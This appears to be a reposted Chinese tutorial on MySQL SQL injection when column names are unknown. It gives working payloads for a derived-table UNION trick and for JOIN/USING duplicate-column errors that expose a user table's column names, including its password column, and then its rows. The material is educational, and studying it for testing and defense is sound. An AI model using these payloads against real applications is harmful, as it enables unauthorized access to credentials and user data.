当前位置: 首页 > article >正文

WEB安全--SQL注入--无列名注入

一、原理:

        当我们只知道表名不知道列名时,可以通过联合查询创建虚拟字段查询信息,或者是利用join、using关键字报错得到列名。

二、利用手段:

2.1)创建虚表查询:

#创建虚表
select 1,2,3 union select * from user;

#查询第二列数据
select `2` from (select 1,2,3 union select * from user)xxx;

当反引号 ` 被过滤时,可以使用如下方式查询:

select b from (select 1 as a,2 as b,3 as c union select * from user)xxx;

2.2)join+using爆出列名:

# 得到 id 列名重复报错
select * from user where id='1' union all select * from (select * from user as a join user as b)as c;
# 得到 username 列名重复报错
select * from user where id='1' union all select * from (select * from user as a join user as b using(id))as c;
# 得到 password 列名重复报错
select * from user where id='1' union all select * from (select * from user as a join user as b using(id,username))as c;
# 得到 user 表中的数据
select * from user where id='1' union all select * from (select * from user as a join user as b using(id,username,password))as c;
 


http://www.kler.cn/a/614081.html

相关文章:

  • K8S学习之基础五十三:k8s配置jenkins中的harbor
  • Redis的三种集群模式
  • 力扣HOT100之普通数组:189. 轮转数组
  • 【qt】文件类(QFile)
  • 1、SQL注入攻击的防范
  • 1921.消灭怪物的最大数量
  • -JavaEE 应用Servlet 路由技术JDBCMybatis 数据库生命周期
  • Gateway实战(二)、负载均衡
  • 【Java】JVM
  • pytest-xdist 进行高效并行自动化测试
  • LeetCode hot 100—LRU缓存
  • SQL 通用表表达式(CTE )
  • MetInfo6.0.0目录遍历漏洞原理分析
  • C++11QT复习 (三)
  • QT mingw编译器使用gdb调试
  • 2025 年前端新趋势:拥抱 Web Component 与性能优化
  • aioredis.from_url函数详解
  • 7.1 分治-快排专题:LeetCode 75. 颜色分类
  • postgresql+patroni+etcd高可用安装
  • 微软开源 “Hyperlight Wasm”,将轻量级虚拟机技术扩展至 WASM